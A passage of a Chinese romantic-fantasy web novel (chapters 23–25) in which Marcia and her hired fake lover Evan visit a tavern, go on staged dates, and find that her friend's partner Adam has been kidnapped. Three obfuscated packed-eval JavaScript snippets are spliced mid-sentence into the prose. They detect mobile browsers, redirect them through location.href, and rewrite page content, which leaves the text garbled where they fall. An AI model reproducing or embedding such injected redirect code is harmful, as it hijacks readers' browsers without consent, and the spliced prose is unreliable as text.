费雪伯爵夫人一脸诧异：“好端端的吃什么苹果派？又不是什么稀罕的东西，说起来你今天的战况如何？”她似乎也知道不光彩，声音小了些，“殿下是否对你有所承诺？未来会给你一个头衔，一份年金么？” “没有关于未来的承诺，”在费雪伯爵夫人面露失望之前，安琪稍微仰起脸，“但我现在是镜湖庄园的主人。” “啊哟！啊哟！那真是……太好了。”她露出由衷喜悦的笑容，笑容里还多了些讨好，“我亲爱的好姑娘。别吃什么苹果派了，我们去吃南方来的糖渍水果，什么火橙啦，蜜荔啦，你就该享用最好的！” 做受害者实在太辛苦，安琪决定不再思考，松一口气，与莱昂王子合谋，继续这支肮脏的共舞。 这个世界已经没人爱安琪了。 面对姑妈的热情，安琪笑着说了声：“好啊。” 23. 鱼龙混杂的酒馆 离开王宫之后，玛西亚和埃文一起吃了刷着秘制酱汁的牛肉饼、松软的面包，佐以香浓的芝士碎。 过了一会儿，苏珊用金盘端来几颗挂着晶莹水滴的脆红苹果。 在王都贵族的家里，这苹果本是像瓶花一样的装饰，可以给冬季的室内增加清新果香与一抹亮色。 埃文不懂，只当这是餐后的零食，他站起身，从苏珊手里接过金盘。苏珊不同于琳达，她脾气软，话也不多，从来没刁难过埃文，所以埃文还对她挺有礼貌地说了声：“谢谢。” 他并不削皮，也不拿刀把苹果切成小块，而是直接用手大力一掰，“啪”地一声之后，苹果裂开了。一半留给自己，另一半递给了玛西亚。 然后，两个人开始一起大口大口地吃。脆脆的咀嚼声很快响彻安静的居室，力鼠西西也过来讨要，埃文又掰了一小块给他的宠物老鼠。 苏珊在旁看得咋舌，心中暗忖，这可真是平民做派，他们连吃相都如此相似。 看见公爵大人满足而畅快的表情，苏珊把规劝和提醒的话咽了下去。 她何必说呢？论身份，这里没有她说话的份。论真心，她也觉得这么好的苹果摆着不吃怪可惜的。 第二天傍晚时分，玛西亚带埃文前往暮星酒馆。 埃文没来过酒馆，对他来说，这是个有点神奇的地方。玛西亚在这里接了送信任务，才有他们两人在极北之地的邂逅。 而在他熟悉的浪漫小说里，酒馆常常是男女主角私奔路上必经的一站。他们会因佣兵下流的笑话面红耳赤，躲在壁炉旁的阴影里，偷偷交换带着麦酒香气的吻。 “我的嘴角沾了什么东西么？为什么盯着我看？”玛西亚问。 “……没有。”埃文慌了一下，问，“你和剑术老师约在了酒馆见面？” “准确地说，这个时间，我们只能在酒馆见到他。”玛西亚突然想到了什么，忍不住提前说明，“他说什么你都不要在意，白天时，这个人还挺正常的，武艺高强，并且经验丰富，为人可靠。” “正常？”他在众多形容词中准确地找到了关键。 “我解释不清，见到他你就会知道了。” 推开暮星酒馆厚实的木门，一股浓重的酒味，混合着冬季室内的闷热气息撞入埃文的鼻腔，他几乎倒退了半步。 壁炉里燃烧不充分的焦木冒着黑烟，酒桶附近的地板被浸出去不掉的污渍，只有柜台的酒杯干净透亮，显示出店员们的勤劳。 可这里的生意实在太好。干杯声、大嗓门、呕吐物，共同呈显出臭烘烘的热闹。 王宫距离他的生活太远，太像一个舞台，他一心想着剧本，并不胆怯。小小一家酒馆反而让埃文不敢动了。 玛西亚拉住埃文的手腕，带他钻过人群，去靠窗的地方坐下，她低声安抚道：“我第一次来时心里也打鼓，觉得这些面目凶狠的人会把我撕成碎片。实际上，他们并不像我想象中那么邪恶，当然，也很难说他们善良。” 冷冽的寒风透着窗缝吹来，埃文头脑清醒了一点，开始试着理解玛西亚的话。 浪漫的幻象逐渐褪色，被烟火熏坏的墙纸，脚底下吱嘎作响的松木地板，构建出灰扑扑的现实。 “所以没有背着箭袋的游侠、抱着鲁特琴弹唱的吟游诗人、也没有私奔的小情侣。” 他有些惭愧，似乎意识到自己的天真有些傻气：“是我想太多了。” 玛西亚却说：“不。” 她给他指，视线落在一个红鼻子壮汉身上：“他是个很有名的游侠，曾经独自一人，从强盗手中解救了十个被绑架的少女，那些女孩儿的父母对他千恩万谢，有那么一家，还说要把女儿许配给他。” 埃文好奇地追问：“然后呢？” “他拒绝了。跟那家人说，把女儿嫁给酒鬼还不如被红龙掳走，至少龙还会用金银珠宝垫窝，而他每一分钱都花在了酒馆。紧接着，他跟这些少女的家人要了笔报酬，并不比绑匪勒索的赎金低多少。” “居然是这种展开……” 埃文想了想，又说：“不过，这对那女孩来说是不错的结果。她好不容易逃出生天，要是又被当成了谢礼送出去，嫁给不适合成家的人，未免太惨了。” 玛西亚点点头：“是的。你再看角落里那个家伙。” 埃文看到了一张滑稽的脸，小圆眼，却有着浓眉毛，像用刷子蘸着油漆在脸上画了两道。 “他叫福克斯，主业是吟游诗人，副业一大堆。同时也是魔法觉醒者。他说可以教我一个很厉害的民间魔法，收了我二十铜。” “这个价格听上去很实惠。” “确实，”她有些郁闷，又觉得好笑，“然而是个一边打嗝，一边喷火的魔法。” 埃文失笑，他有些想不到玛西亚喷火会是什么样子：“后来呢？” “我当然不满。于是，他又说自己学了占卜，要给我测算运势，以此赔罪。” “哈哈，他怎么什么都会！占卜结果如何？” “我没接受他的占卜。他那个人，油嘴滑舌，说又说不过，为二十个铜币打架也没必要。到底教了我一招，就这样吧。” 紧接着，她指向柜台旁的一对中年男女。 男的脸上有一道可怕的刀疤，从眉骨斜穿过鼻梁，延伸到另一侧的脸上。女的黑发扎成髻，高高地堆在头顶，又乱糟糟垂下来几缕，给人很泼辣的感觉，她的面前已经有了五六个空酒瓶，仍在继续喝。 “刀疤和黑鸦，私奔的小情侣。当然，他们年纪不小了。” 这次，玛西亚的表情严肃了一些：“黑鸦偷了村里财主的一笔钱，然后逃离了家乡。刀疤是她路上遇到的盗马贼。现在两个人一起合伙……嗯，做放贷、收账的生意。” 听上去都不是什么善茬，也是他在小说里不曾看到的情侣组合，埃文不自觉地压低了声音，问：“那他们感情好么？” 玛西亚说：“不知道，我对这种事不太上心，他们的事我也只是略有听闻。不过，我想应该还不错？” 埃文问：“为什么？” “他们坐在一起，腿挨得很近。和黑鸦一起喝酒，刀疤从来不喝多，会把她安全带回家。” 她不确定自己的分析是否准确，求证地看向情感专家：“你觉得我分析得对么？” 埃文反思着自己的浅薄：“我不知道……也许现实生活中，能互相陪伴就很好了。” 不知为何，玛西亚觉出他有些低落，便朝柜台招手，点了两杯加香蜜水。 “很独特，这蜂蜜水里加了什么？”埃文果然打起了精神，他求知欲旺盛，对新鲜事物抱有好奇。 “火橙粉，南方来的水果。在亚斯特，富人们吃糖渍罐头，平民们吃橙子皮晒干后磨的碎屑。我倒觉得果肉味道一般，用它做香料更合适。我去过南部的几个国家，当地人也是这么吃。” 埃文羡慕地说：“你去过好多地方啊！” 玛西亚不以为然：“在战场上见到的风景再美丽也没心情欣赏。幸福快乐的话，一辈子留在同一个地方也没什么遗憾。” 埃文点点头。 待到酒馆换了两波客人，剑术老师仍没有出现。 酒馆老板劳拉走了过来。她先是注意到生面孔埃文，快速地审视，低头又见玛西亚破天荒地没喝酒，心下了然。 “怪不得上次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15063761|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只点琉璃苣酒，要和恋人接吻，对吧？” 玛西亚愣了一下，没反驳。她只当劳拉知道内情，在帮她把恋爱的事嚷嚷出去，配合造势。 埃文却有点儿脸红，他问：“难道，琉璃苣酒很好喝么？比这杯蜜水还好喝么。” 干干净净的漂亮男人，还会害羞，在这酒馆里就像什么珍稀动物似的。 “当然啦！”劳拉为他的青涩大笑，豪气地一招手，朝柜台里的店员说：“两大杯琉璃苣！” 玛西亚推拒：“我今天没打算喝酒来着。” 劳拉挑了下眉，仰起笑脸：“如果我请你呢？公爵大人。” 玛西亚还是摇头，剑术老师没找见，酒倒是又喝上了。这怎么能行？ “你有没有见到潘？我有份工作给他。” “他呀！刚接了个商队护送的任务，五天后才能回来。”说完，劳拉眼中精光一闪，“或者你委托给我，等他回来，我去跟他说，让我抽成赚点儿？你也不用来酒馆蹲人了。” “好。” 玛西亚不知道潘的住处，在酒馆和一个神志不清的佣兵谈正事又很麻烦，劳拉可以帮她节省沟通的精力。 “我跟你去楼上填委托单，埃文，稍微等我一会儿。没问题吧？” 埃文：“当然！我不惹事。” 玛西亚刚一走，多才多艺却样样不通的吟游诗人就凑了过来。 “哦！英俊的年轻人！”他抢先一步接过店员端来的两杯琉璃苣酒，一杯撂到埃文面前，一杯灌进他自己的肚子，“自我介绍一下，我叫福克斯。” “等一等，我们没说要这酒，更没说请你喝！” “出柜台的酒是不会再收回去的。我都听见啦！这是劳拉请的。公爵大人不喝，正好便宜我。” 他厚颜无耻地笑笑，变魔术似地掏出纸牌，切牌切得天花乱坠，然后“啪”地一声合掌，把埃文惊得身形一颤。 然后，他把洗好的牌往酒桌上一抹，推出完美的弧形。 福克斯故作深沉地开口，用吟游诗人特有的腔调咏叹：“啊！命运！命运是被迷雾笼罩的迷宫，而智者总能提前预知方向，指引你找到出口，不再原地打转。” 这种台词明摆着是想来骗钱，埃文说：“我没什么想问的。” “真的么？”福克斯的浓眉像两丛乱糟糟的草，随着他说话时夸张的表情不停晃动，使人心烦意乱，“算算你的另一半，怎么样？” 埃文的上唇抖动了一下。 “来吧，年轻人，没什么丢人的。爱情就是这样，你很茫然，而我有答案。抽三张吧，我只收你……” “我最多给你十个铜币。” “那么请先付钱。” 见对方答应得这么痛快，埃文瞬间觉得后悔，但还是鬼使神差地交了钱，认真选出三张牌，慢慢掀开。 “糟透了，糟透了。”福克斯怪叫，“她会被人困在高楼，一个女的用利剑指着她的脖子，还有一个敌人骑马而来。” 埃文低头一看，心想，这不就是看图说话？ “照我看，这分明是：她住进了大房子，手持宝剑的女王给她册封，然后英勇的骑士前来效劳啊！” “哦，倒也讲得通。” 埃文：“……” 他终于忍无可忍，把福克斯轰走，想喝一口蜜水顺顺气，却错拿了旁边的杯子。 辛辣的酒液顺喉而入，引发猛烈的咳嗽，紧接着，琉璃苣酒独特的清香盈满口腔。过了一会，灼热的感觉完全褪去，舌尖只留下轻软的甘甜。 很清爽。 好像还有点凉丝丝的。 这时候，要是可以吻她的话…… 24. 连续不断的约会 隐秘的心事无法宣之于口，埃文不觉又喝了几口酒。琉璃苣酒放大了他的直觉，原本一闪而逝的念头，变得强烈而清晰。 他想要亲吻玛西亚，可他仅仅是个临时演员，哪有资格这样想。他一会儿燃起希望，一会儿又自己掐灭，杯里的酒液渐渐变浅。 为什么总在想不切实际的东西。 等玛西亚下楼时，埃文的表情已经可怜得像条被路人缘无故踹了一脚的狗了。 “埃文？”玛西亚看了看他面前的空杯，一阵错愕，“发生了什么事？” “没什么。”埃文避重就轻，只说了一部分实话，“心血来潮去找那个吟游诗人占卜，得到了一派胡言……虽然只花了十个铜币，还是觉得自己有点傻。” 玛西亚拍了拍他的肩膀，安慰道：“至少满足了好奇心。说不定，以后回想起来会觉得有意思。” “嗯，你说得对。” 出了酒馆，夜空漆黑如墨，天上稀稀落落地散着几颗小星，玛西亚召出一朵火苗飞在两人前面照明。 他们离开平民街，踏入整洁安静的富人区，脚步声愈发清晰。 “埃文，埃文！”玛西亚叫住他，“你有没有发现，你现在走路像在跳舞？” “嗯？” 他这才发现石板路的触感古怪，如同漫步云端。紧接着，埃文惊恐地低呼：“难道是让地面变软的魔法？斯黛拉小姐要把我埋起来了么！” “不，你醉了。话说你为什么这么害怕斯黛拉？” 问一个醉酒的人肯定得不到答案，玛西亚没期待埃文能把话说清。 埃文的眼睛环顾四周，似乎在寻找隐藏在黑夜中的一丛金发，他仍记得斯黛拉对他的警告：若他假戏真做，喜欢上玛西亚，会被土魔法变成化石。 “玛西亚，我、我喜欢你啊。” 玛西亚集中精力看着他走路，未曾留意此刻是否有观众，以为埃文喝醉后还在敬业地念台词，有点感动，又觉得怪好笑的。 “嗯，我知道。我也喜欢你。小心脚下。” 摇摇晃晃地回到公爵夫人的卧室，埃文迅速脱光了上衣。 玛西亚大惊失色，明明上次在浴室里害羞得要命，一直用手遮掩着胸口，可现在他就好像生怕玛西亚看不清，特意向前挺了挺……他扭来扭去，摆了几个姿势，展示自己的一膀子肌肉，活像只炫耀力量的螳螂！ 玛西亚咽了咽口水，她心想，一杯琉璃苣酒而已，怎么就能让他醉成这样？埃文如此慷慨，她的眼睛看哪里好？ 埃文口齿不清地问：“玛西亚，你、你觉得我……能学好剑术么？” “呃……当然。” 原来是这个意思。 玛西亚认真审视起来，给出评价：“很好的身体条件，不学武艺才可惜。” 闻言，埃文开始对着空气傻笑。 他得了鼓励，悲观的想法散去了不少，现实固然残酷，但是玛西亚……玛西亚也是现实的一部分。她不残酷，她很温暖。 “谢……谢谢你。” 埃文坐在床上，放松地向后一仰。原本睡在床上的宠物西西直接被他的体重弹起来，落回床面后，它生气地抖了抖毛发，认出是埃文，才不计前嫌地往主人身边拱了拱。 一人一鼠的呼吸声很快同频。 埃文的胸腔随呼吸一起一伏，敏感的皮肤因饮酒而微微泛红，深暗处和他的嘴唇是同一种颜色。 她伸出手，在空气中迟疑了一下，帮他盖上了被子，很轻很轻地说了声：“晚安，埃文。” 剑术老师未归，卡尔王子也没来骚扰他们，王都冬季的社交活动并不多，他们便开始自由发挥，主动寻找舞台。 他们去了丝柏公园。 丝柏公园离魔法学院不远，那天偶遇的两个学生启发了玛西亚，如若学校里一直流传着卡尔和她的传言，为什么不用新的舆论去覆盖它？ 丝柏树在冬季依然常绿，却是沉沉的灰色调。扭曲的黑色树干好似大地向上生长出的缕缕头发，散发着略带苦味的木质冷香。巨大的喜鹊落在枝头，不时发出怪笑一样的叫声。偏偏今天的天气也不怎么样，太阳藏在云里。 环顾阴森的环境，玛西亚面露尴尬，认错道：“失误了……这不是个约会的好地方。” 埃文却说：“反正待在你身边不会冷，我们在这里聊聊天也好。重要的不是地点，而是在这个地点里两位主角如何互动。我们在一起，对着这么单调的景色，也能热火朝天，这才有说服力呢！” 他掏出手帕，在公园长椅上拂了拂，清出位置，请玛西亚坐下。 “埃文，我突然很好奇，你读了这么多故事，熟悉情节套路，有没有自己写过小说？” 埃文面色一窘：“那不能称之为小说。” “也就是说你写过。” “是的，”他似乎感到极度的羞耻，与其说是介绍作品，更像自我批评，“我写过一个女骑士和男医生的故事，篇幅很短，因为我没见过骑士也不懂草药，不可避免地很幼稚，像把两个人硬凑到一起。角色的塑造也很差，男主角胸大无脑，女主角总是邪魅一笑。整个故事存在的意义只有一个，那就是证明我确实识字。” “……” 别这样，埃文。 认为自己的东西拿不出手，什么都没做错就自动矮别人一头，这种感觉她也曾很熟悉。 好比人照镜子，免不了盯着自己脸上的瑕疵看，实际上大家都是普通样貌。哦，不……他不普通。埃文很英俊。 鉴于这套话语对埃文不适用，玛西亚放弃了迂回的安慰，直接问：“到底写了什么？说给我听听。” 埃文鼓起勇气，开始讲述：“第一章，骑士受伤，医生帮她处理伤口。” 玛西亚没觉得这有什么不对：“很合理的相遇。” 埃文又说：“第二章，比武大会，医生去给骑士助威、送花。” “也很顺理成章，这不是挺好的么？接下来呢？” “第三章，节日庆典，骑士意外扯破了医生的长袍，约定了下次见面。” “我觉得也还行，总要发生一些巧合，毕竟是故事。” “第四章，两人互相告白，然后，他们成了。” “成……成了？！” 她捂住自己的嘴，控制表情，降低音量，努力不表现得太诧异，眼睛快速地眨了眨：“所以这个故事只有四章。” 埃文脸已红透，无比惭愧地说：“是的。因为我舍不得给他们增加磨难，没有政治阴谋，没有家族世仇，没有伤心离别……连个情敌都没安排。就是这么个简单的蠢故事” 玛西亚会心一笑。 她明白了，这都是因为埃文心肠软。以及，他的阅读品味太好，难免对自己过分严苛，用他所知最精彩的故事和他的习作做对比。 “也许这不是很好的小说，”她柔声说，“不过，我会愿意活在你写的蠢故事里。” 听了她的话，埃文心脏重重地一颤：“为什么？” “因为简单，轻松。我常常觉得生活像游满鳄鱼的河，而我在独木桥上走，必须小心谨慎，不容有失。小时候我觉得长大就好了，可现在我仍处在危机中，没看到任何美满结局的苗头。” “原来是这样。”埃文体会了玛西亚的心，“你理应得到奖励，可他们什么都不准备给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15068275|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你，这不公道。” “是啊，我无法接受。” 玛西亚看着眼前的柏树林，以及不远处的魔法学院，默然良久。 隔日，他们继续约会。 王都有一座古老的钟楼。 据传，只要在日落钟声敲响时告白，就能得到一份真正的爱——完全没有道理可言。但玛西亚拿到的角色恰好是一个为埃文疯狂，以至于对王子都没兴趣的痴心公爵。 于是玛西亚和埃文出现在这儿，混在一众真情侣里，往钟楼顶层攀爬。 钟楼狭小的旋转楼梯只容一人通过，玛西亚走在前边，埃文在后边跟着她。陡峭的台阶足足有四百五十六级，有几段还要手脚并用。 随着不断爬升，人可以透过细长的高窗看到王都不同角度的风景切片。抵达顶层后，视线豁然开阔，房屋变得像积木块，远处的山峦与暮云相接，呈现出美丽的灰紫色，而燃烧的夕阳正在坠落，为城市镀上金边。 玛西亚不适应突然变强的光线，眼睛眯了眯，过了一会儿，她感到温暖，不是体内魔法的温暖，而是阳光在照耀她。 另有一对情侣早早爬上来观景，占据了最好的位置。 男的看着像是个皮匠，身上的衣裳普通，唯独腰带不错，应该是他自己的手艺。女孩儿也穿戴朴素，来自普通人家。 “亲爱的，他们说利刃女王就是在这儿和王夫定情的。太阳这么一照，人生充满了希望似的，真浪漫啊！” “可王夫最后死在她怀里。这也浪漫吗？我的傻姑娘。” “哎你这人！真是扫兴！等等……你干嘛跪下？” “咱们又不是什么大人物，没人来刺杀。不过，若真有危险，我肯定拉着你跑！实在不行再死，你说是不是？” 男人的幽默并未逗笑这个女孩，反而招来她的巴掌，她轻轻地抽打他的肩膀：“不许说死……不许你说不吉利的话！” “好，好。哎哟，打疼我了。你听我说，他们的金戒指镶着钻石，我只能找朋友打一枚银的，上面是颗月光石，很像你的灰色眼睛。你……你愿意嫁给我吗？” “天呢！我怎么会不愿意呢！这么漂亮，你得攒多久钱……” 埃文的眼眶立时湿润了。 今天也是为别人的爱情流泪的一天。 玛西亚见状，产生了奇怪的胜负欲，总觉让埃文羡慕别人会显得他们两个感情没那么好。 她愣了愣，然后伸出手，主动环住埃文的腰，仰起脸，看着他的眼睛。 “埃文，”她呼唤他，“我亲爱的。” “玛西亚，我在。”他颤抖着给出回应。 青绿色眼睛在夕阳的照射下如同燃烧的玻璃海，火焰在海水上跳动着，没有柴薪，没有灰烬，没有飞烟，只有纯粹的光明与热力。 小虫尚且畏暗趋光，埃文又怎么能克制北地人的天性，不往玛西亚的光热里飞呢？ 埃文突然觉得，也不能都怪他。 “玛西亚，其实我对你……” “铛——” 钟声将他的话语淹没，金属的振动不断延宕，穿透了两颗互相靠近的心，玛西亚看见埃文的嘴唇在快速地动，似乎说了一个很长的句子，却听不清他说什么。 钟声停止，他们默默抱了很久。直到太阳坠入黑暗，观众纷纷退场离开。 玛西亚有些遗憾：“我感觉今天的效果一般。怪我，我还是太死板。刚才人那么多，我应该有样学样，踮起脚尖，亲你一下的。” 埃文惊讶了一瞬，忙说：“不怪你，我……下次一定。” 或许现在先练习一下呢？ 可玛西亚没再提起。 25. 掉在地上的胸针 平静的日子没能持续太久，这天早晨，玛西亚收到了由安琪小姐发出的宴会邀请函。 宴会地点设在了具有悠久历史与美丽风景的镜湖庄园，并且，仅限本人参加。去王都郊外的庄园参加晚宴，大概率会被邀请留宿，这使玛西亚感到一丝刻意。 应该是莱昂王子让安琪这么做的，他想给卡尔制造机会。只不过，没想到安琪小姐这么得宠，又这么配合。 “爱情很神秘，婚姻很复杂，婚外情神秘又复杂。” 她挠了挠头发，头痛了一会儿，问埃文，“你看得懂安琪小姐么？” 埃文不敢乱下论断：“反正这种关系里最坏的家伙肯定是男人。安琪小姐和贝拉殿下本来可以没有任何交集的。” “那确实。” 玛西亚回忆着安琪在人鱼壁画前的局促，以及后来她对贝拉殿下类似挑衅的举动，一阵想不通。安琪有时候像个无助的孩子，眼神脆弱而彷徨，有时候又像坩埚里的药液，冒着有毒的小泡泡。 对于安琪，玛西亚只知道她是个投奔姑妈的乡下贵族孤女，然后成了莱昂王子的情妇。她本人是什么性格，又是怎么想的呢？没人说得清。 玛西亚在心中默默拉出两列的表格，把安琪的名字写到了“不可信任”那一栏。 “可以拒绝么？”埃文问。 玛西亚本想说，她们两个并无私交，甚至可以说是陌生人。即便安琪小姐成为了镜湖庄园的主人，背后有莱昂王子的授意，拒绝她也不会有太大的压力。 但当她拿起黑曜石拆信刀，启开下一封信后，她的脸色变了。 “埃文，我想我没办法拒绝。”她把信递给他。 埃文接过这两页信纸，从头到尾通读了一遍，只觉辞藻华丽，语句典雅，实际内容一句话就可以说完：我接受了安琪小姐的邀请，希望你也能一起去。 除此之外，娟秀的字迹也令人印象深刻，信笺上钤印着槲寄生纹样的图章，高级的墨水与印泥散发出淡淡的花草香气。 他疑惑地问：“为什么这位爱丝特拉雅·罗斯瓦尔小姐去，你就一定要去呢？” “因为爱丝特拉雅·罗斯瓦尔小姐就是斯黛拉。斯黛拉是罗斯瓦尔侯爵家的二女儿。上头一个姐姐，是财政大臣穆勒伯爵的妻子，是个美丽、温柔、安静的‘完美女人’。下面还有一个弟弟。是个没礼貌的混球。” 混球？ 埃文还是第一次从玛西亚嘴里听到这种词，他还以为玛西亚不会骂人。玛西亚实力强悍，对小奸小坏的人，比如酒馆里的福克斯，态度颇为宽容，只一笑了之。而对真正的恶棍，如冰原上的克罗姆，则果断无情，不跟对方废话。 只不过现在关注点不该在这儿，他忙问：“斯黛拉小姐被王室威胁了，对么？” 玛西亚思索片刻，说：“不，卡尔既然要追求我，又怎么会为难我的朋友？那不是把我越推越远么。真正的问题是斯黛拉为什么会回家，她跟家里基本不联系。” 玛西亚把这封信理解成斯黛拉在向她求救。 “我们去猫尾街。”她要去找亚当。 这是一座两层小楼，大门没锁。除了客厅，还有八个独立房间，玛西亚和埃文楼上楼下跑遍，每扇门都推开，还是没能见到亚当的影子。 “玛西亚，亚当会不会出门去田里忙了？冬天不也有温室么。” 玛西亚摇头：“亚当在休假。斯黛拉告诉我的，她亲口说他们这个冬天每时每刻都要腻在一起。” 空空荡荡的房子已经令她不安，出门时，地面上突然闪烁的一点银光更让玛西亚后背生出阴恻恻的汗。 她快步走向那点光芒，俯下身，一把将其握在手中，冰冷的金属质感与沉甸甸的重量印证了她最坏的那个猜测。 埃文凑过来看，看到了一枚纯银胸针，三朵郁金香首尾相连，长叶缠卷，组成一个环形。 “是亚当的东西，对么？” “是的。这是亚斯特四年一度的园艺大赛冠军奖章。亚当一直在自己热爱的领域耕耘，很珍惜这份荣誉……他只在重要的场合佩戴这枚胸针。” 埃文立刻退回门厅，试着还原当日情景：“所以那天他戴着这枚胸针，可能还认真打扮了一下，从这里出门，走到这儿，胸针掉了。这胸针很重，地面也冻得硬邦邦的，应该会发出声音啊！正常来说，他应该弯腰捡起来。” 他感觉不对劲。 玛西亚看到埃文的步态，说：“亚当没这么风风火火，你走慢点，我再看。” 埃文照做。 玛西亚也发现了问题。 “胸针掉在房门与院门中间，若门外有人闯进来袭击他，走这几步路的时间也足够他反应过来了。不会一点挣扎打斗的痕迹都没有。” 她想了想，对埃文说：“你去厨房，看看橱柜里有没有一罐眠罗花蜜，紫色的蜂蜜。” 埃文“嗯”了一声，快速地去搜寻。 玛西亚克制心中的不安，冷静地观察院落里的一切，寻找疑点。 杏树、柳树、秋千、水井。 斯黛拉和亚当一起在这儿度过了四年时光，柳树是院子原来就有的老树，杏树是因为斯黛拉喜欢看杏花、吃果实，亚当为她种的。架好秋千后，他们立刻邀请玛西亚来玩儿。水井……水井是玛西亚上战场后打的新井，她也是上次来才看见。 玛西亚走到井边，朝黑洞洞的井口看了一眼，当然什么都看不见。于是她摇动辘轳，放下一只木桶。井绳与辘轳之间摩擦着，发出令人牙齿发酸的声音。 玛西亚把木桶送到深处，又一点点提起来。 水，冰凉清澈的水。井水没有结冰。 她把魔法凝聚在指尖，在空气中画出一只小虫，然后令这由火焰残影幻化的小虫飞入漆黑的井中。 魔法痕迹不可视，只可用新的魔力去感知。萤探是一种侦查魔法，用魔法制造的小虫能捕捉到魔力在空间中的留存。 片刻后，红色的光点从井中飞回，玛西亚把魔法重新吸收回体内，萤探感应到的施法证据缓慢地进入她的脑海。 水魔法。水魔法师操纵着水流，从侧面悄无声息地攻击了亚当，将亚当卷进了井中，又掳去了其他地方。 远程操纵如此巨量的水体，对方无疑是个很不错的魔法师。 斯黛拉能力出众，但不擅战斗，在没防备的情况下，可能先亚当一步被人带回了侯爵府。 这时，埃文回到她身边：“玛西亚！没有！每个橱柜我都仔细看过了。确定没有紫色的蜂蜜。” 玛西亚大概知道是怎么回事了，眉头不由皱起。 埃文问她：“眠罗花蜜是什么？” “眠罗，一种魔法蠕虫，它分泌的紫色黏液会裹住兰花种子。经过特殊的培育手段，以及精心养护，被黏液包裹的种子依然可以开花，那便是异常珍贵的眠罗花。眠罗花蜜有极强的止痛作用，价比黄金。亚当几乎从当学徒时就在攒这些花蜜……” 她愤怒而悲伤地说出结论：“我猜，亚当想带着这罐眠罗花蜜去拜访罗斯瓦尔侯爵。” 代表荣誉和技艺的胸针、昂贵且珍稀的礼物，领悟这些事物的意义后，埃文发出哀叹。 “啊！如果女方的父亲铁了心拆散他们，怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15086096|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能被一罐花蜜打动？” “你说得对，他有点太乐观了。” 他们已经在父母反对的情况下，在一起四年了。并且，亚当深爱斯黛拉，没办法把她的父亲想象成特别坏的人。种种一切，导致他误判了事情的严重性。 这无疑是罗斯瓦尔侯爵的手笔：绑了亚当，就能降服叛逆的女儿；带走了斯黛拉，亚当也会乖乖听话。 玛西亚说：“如果放任不管，结局就是斯黛拉会被父亲嫁给不知道什么人，亚当……说不定会死。” 埃文瞳孔震颤：“死？” 玛西亚：“是啊，他们何时在乎过平民的性命呢。我得去赴宴，设法见斯黛拉一面，埃文，你在家等我，好么？” “玛西亚，你要去几天？” “最多三天。”她顿了顿，忽而想到了什么，告诉埃文，“钱柜钥匙在书房写字台左手边第二个抽屉里。” 听了她的话，埃文的头脑像被一道白亮的闪电劈中，无数声音同时响起，乱纷纷快要耳鸣。 这是什么意思？难道三天不回来玛西亚就会遭遇不测？他留在家里，能为她做点什么吗？是不是什么忙也帮不上…… “这是给我散伙费，让我逃跑，对么？” 他怎么想都想不出别的可能。 生离死别的回忆又一次伸出触手，捆住了他，把他往漆黑的恐惧里拖拽，他不由自主地感到身体发冷，手指尖发麻，嘴里也有股奇怪的苦杏仁味儿。 “如果是那样……能不能别……”他说不出口。 他有什么立场去说别去？斯黛拉是玛西亚唯一的朋友。 可这宴会看上去也像是一个陷阱。 “玛西亚，我不要你的钱。我要你活着，玛西亚……” 他语声落寞，声音细细发颤。 虽然现在不该笑，没有任何发笑的氛围，玛西亚还是忍不住勾了勾嘴角。 他又想到什么了啊。 可埃文眼皮一眨，猝然流下眼泪。 玛西亚能感受到他湿热的气息。他的嘴唇在颤抖，像两瓣在雨水中瑟瑟的花。 “埃文，”她不敢再笑，连忙解释，“我其实是想说，你得付给剑术老师学费。” “学费？” “潘的水平很高，在前魔法时代，恐怕要被人尊称一声‘剑圣’，所以我允诺给他五个沃伦索一个月，希望他能教你点儿真东西。” 埃文僵硬地怔住，泪水仍在惯性地往下流：“什、什么？所以三天后……” “三天后，我会带着斯黛拉的消息回来。” 玛西亚认为，既然卡尔一直想和自己结婚，也许会耍花招，但归根结底，在得手之前他都要围着玛西亚转，危险又能危险到哪儿去？ “埃文，别哭。你牢牢记住，我很强。不然卡尔干嘛费尽苦心非要娶我？还不是因为他们拿我没辙。” 玛西亚开始用拇指给他抹泪，指腹滑过他柔软的皮肤，她心想，真是好年轻的一张脸。以后得注意些，别再话说一半吓到他。 埃文的大脑变得无比混乱。 冷静了好一会儿，他才意识到自己突然的情绪化很拖她后腿。于是，他艰难地说出半句：“我会努力……” 隔着泪，视线模糊，他只能看到玛西亚的眼睛，温暖的绿色与冷冽的蓝色结合在一起，融化厚雪坚冰，一股春意将他淹没。 